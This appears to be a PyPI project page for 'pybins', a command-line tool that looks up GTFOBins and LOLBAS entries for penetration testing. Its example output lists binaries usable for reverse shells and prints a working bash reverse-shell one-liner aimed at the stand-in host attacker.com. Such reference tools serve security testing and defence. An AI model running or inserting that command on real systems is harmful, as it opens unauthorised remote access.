Skip to main content

PyBins

PyBins is a command line utily that wraps the content of GTFOBins and LOLBAS

Instalation:

pip install pybins

Usage:

usage: pybins [-h] [-p PLATFORM] [-b BINARY] [-f FUNCTION]

PyBins Cmd Line wraper for GTFOBin and LOLBas

optional arguments:
  -h, --help            show this help message and exit
  -p PLATFORM, --platform PLATFORM
                        Select the platform to lookup, Win/Windows or
                        Lin/Linux, case insensitive
  -b BINARY, --binary BINARY
                        The binary to lookup
  -f FUNCTION, --function FUNCTION
                        The function to lookup

Examples

List platform available binaries and functions/categories:

  • pybins -p win
  • pybins -p windows
  • pybins -p lin
  • pybins -p linux

List all linux binaries with reverse-shell function:

  • pybins -p lin -f reverse-shell
  • pybins -p linux -f reverse-shell

Output

The Function reverse-shell has the following binaries:

nc           perl     ksh    rview               cpan     node          telnet        irb
python       gdb      pip    bash                view     openssl       gimp          rvim
socat        vim      php    jrunscript          jjs      ruby          vimdiff       easy_install

List all functions of the Linus binary bash

  • pybins -p lin -b bash
  • pybins -p linux -b bash

Output

The binary bash has the following categories:

shell    reverse-shell      file-upload     file-download      file-write     file-read    library-load
suid     sudo

List all the commands for the binary bash and function reverse-shell on linux

  • pybins -p lin -b bash -f reverse-shell
  • pybins -p linux -b bash -f reverse-shell

Output

Description:  Run `nc -l -p 12345` on the attacker box to receive the shell.
Command:      export RHOST=attacker.com
              export RPORT=12345
              bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'

Metadata

Release files for pybins 1.0.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for pybins 1.0.1
File Size Uploaded
pybins-1.0.1.tar.gz 71.5 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for pybins 1.0.1
File Interpreter ABI Platform
pybins-1.0.1-py3-none-any.whl Python 3 none any Details

Total release size: 208.9 kB

Release files / pybins-1.0.1.tar.gz

Download URL pybins-1.0.1.tar.gz
Size 71.5 kB
Tags Source
SHA-256 checksum
How to use checksums
34fb0a0e0691067f9dd604d5fb128e6348cf5055316dcdd642abdea17eff3b1f
BLAKE2b-256 checksum
How to use checksums
b1a9f9fb2d972bfecaadc7198636780e988ae64f55afa1bc22268ca88fb1f7d5
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/3.4.1 importlib_metadata/4.0.1 pkginfo/1.7.0 requests/2.25.1 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.7.3

Release files / pybins-1.0.1-py3-none-any.whl

Download URL pybins-1.0.1-py3-none-any.whl
Size 137.5 kB
Tags Python 3
SHA-256 checksum
How to use checksums
6f06b397d56efdf95cb945e70df7cf7246c88bd080f3c671566e28b61b5494ea
BLAKE2b-256 checksum
How to use checksums
d4bb4ff1861ab51e0545183c063447f9dba315920e2035c9d29193589fd6e542
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/3.4.1 importlib_metadata/4.0.1 pkginfo/1.7.0 requests/2.25.1 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.7.3

Release history Release notifications | RSS feed

This release

1.0.1 This release

2 release files

1.0.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page